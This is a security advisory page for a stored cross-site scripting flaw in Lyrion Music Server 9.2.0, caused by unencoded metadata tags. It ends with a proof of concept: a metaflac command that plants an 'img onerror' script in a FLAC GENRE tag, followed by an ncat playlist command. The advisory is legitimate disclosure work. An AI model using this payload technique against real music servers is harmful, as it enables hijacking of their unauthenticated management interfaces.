ZEROSCIENCE 7.2 HIGH

Lyrion Music Server 9.2.0 (metadata) Stored XSS_ZSL-2026-5990

7.2 / 10
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Description

Summary Lyrion Music Server formerly Logitech Media Server, and often abbreviated as "LMS" is open-source software which can control and serve stream music to a wide range of physical and virtual audio players called Squeezeboxes. Lyrion Music Server...
Visit Original Source

Basic Information

ID ZSL-2026-5990
Published Jun 5, 2026 at 00:00

Affected Product

Affected Versions <html><body><p>Lyrion Music Server 9.2.0 (metadata) Stored XSS


Vendor: LMS Community
Product web page: https://www.lyrion.org
Affected version 9.2.0

Summary: Lyrion Music Server (formerly Logitech Media Server, and
often abbreviated as "LMS" ) is open-source software which can control
and serve (stream) music to a wide range of physical and virtual audio
players called Squeezeboxes. Lyrion Music Server can stream your local
music collection, internet radio stations, and content from many streaming
services (with and without subscriptions).

Desc: Lyrion Music Server stores media file metadata tags (such as GENRE,
ARTIST, and ALBUM) exactly as written in the file and later renders them
in its web interface without HTML-encoding, resulting in stored cross-site
scripting. An attacker who gets a file with a malicious tag into the victim's
library has their payload saved during the next library scan and executed
automatically whenever a user views that track's information or plays the
file in the web UI. Because LMS is unauthenticated by default, the injected
script runs with full access to the management interface, allowing admin
commands, settings disclosure, and further exploitation.

Tested on: Windows 10 (64-bit) - EN
Lyrion Music Server (9.2.0 - 1779973211)
Perl/5.32.1
SQLite


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2026-5990
Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-5990
CVE ID: CVE-2026-50232
CVE URL: https://www.cve.org/CVERecord?id=CVE-2026-50232


27.05.2026

--


$ metaflac --set-tag=GENRE="<img onerror="alert(document.cookie)" src="1"/>" evil.flac
$ metaflac --list evil.flac
METADATA block #0
type: 0 (STREAMINFO)
is last: false
length: 34
minimum blocksize: 4608 samples
maximum blocksize: 4608 samples
minimum framesize: 2305 bytes
maximum framesize: 14124 bytes
sample_rate: 44100 Hz
channels: 2
bits-per-sample: 16
total samples: 4664587
MD5 signature: 2aeee69c0153cb652c718dfdf0e9ff2d
METADATA block #1
type: 4 (VORBIS_COMMENT)
is last: false
length: 98
vendor string: Lavf57.83.100
comments: 2
comment[0]: encoder=Lavf57.83.100
comment[1]: GENRE=<img onerror="alert(document.cookie)" src="1"/>
METADATA block #2
type: 1 (PADDING)
is last: true
length: 8140

$ ncat localhost 9090
playlist add file:///music/evil.flac
</p></body></html>

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.